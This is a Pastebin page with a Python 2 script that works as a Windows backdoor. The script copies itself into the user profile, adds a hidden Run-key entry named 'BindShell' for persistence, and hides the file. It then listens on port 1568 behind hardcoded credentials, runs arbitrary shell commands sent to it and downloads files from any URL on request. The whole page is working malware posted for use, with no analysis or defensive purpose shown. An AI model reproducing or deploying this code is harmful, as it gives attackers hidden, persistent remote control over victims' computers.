Advertisement
Guest User

Untitled

a guest
Mar 31st, 2016
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import socket, os, thread, subprocess, sys, urllib2
  2.  
  3. subprocess.call('copy ' + os.path.split(sys.argv[0])[1] + ' %userprofile%' + '\\' + os.path.split(sys.argv[0])[1], shell=True)
  4. subprocess.call('REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /f /v BindShell /d %userprofile%' + '\\' + os.path.split(sys.argv[0])[1], shell=True)
  5. subprocess.call('attrib +s +r +h %userprofile%' + '\\' + os.path.split(sys.argv[0])[1], shell=True)
  6. c = 1
  7. s = 10
  8. while c < s:
  9.     def connection(conn):
  10.         conn.setblocking(1)
  11.         conn.send("USER: ")
  12.         user = conn.recv(1024)
  13.         conn.send("PASS: ")
  14.         passwd = conn.recv(1024)
  15.    
  16.        if user.strip('\r\n') =='ManWuzi' and passwd.strip('\r\n') == 'NullByte':
  17.             conn.send('Connection Established!')
  18.             while True:
  19.                 conn.send('\n$')
  20.                 data = conn.recv(1024)
  21.  
  22.                 if data.strip('\r\n') == 'quit' or data.strip('\r\n') == 'exit':
  23.                     conn.close()
  24.                     break
  25.  
  26.                 elif data.strip('\r\n').startswith('cd'):
  27.                     try:
  28.                         os.chdir(data.strip('\r\n')[3:])
  29.                     except:
  30.                         conn.send('The system path cannot be found!')
  31.  
  32.                 elif data.strip('\r\n').startswith('wget'):
  33.                     try:
  34.                         f = open(os.path.basename(data[5:]), "wb")
  35.                         f.write(urllib2.urlopen(data[5:]))
  36.                         f.close()
  37.                         conn.send("Successfully downloaded %s" %os.path.basename(data[5:]))
  38.                     except:
  39.                         conn.send("Download failed!")                  
  40.  
  41.                 else:
  42.                     proc = subprocess.Popen(data.strip('\r\n'), shell=True, stdout = subprocess.PIPE, stderr =       subprocess.PIPE, stdin = subprocess.PIPE)
  43.                     stdoutput = proc.stdout.read() + proc.stderr.read()
  44.                     conn.send(stdoutput)
  45.  
  46.         else:
  47.             conn.send("Incorrect user/pass combination!\n")
  48.             conn.close()
  49.  
  50.  
  51.     while True:
  52.         try:
  53.  
  54.             s = socket.socket()
  55.             s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  56.  
  57.             s.bind(('', 1568))
  58.             s.listen(5)
  59.        
  60.             while True:
  61.                 s.settimeout(2)
  62.                 try:
  63.                     conn, addr = s.accept()
  64.  
  65.                 except socket.timeout:
  66.                     continue
  67.  
  68.  
  69.                 if(conn):
  70.                     s.settimeout(None)
  71.                     thread.start_new_thread(connection, (conn,))
  72.  
  73.  
  74.        except: pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement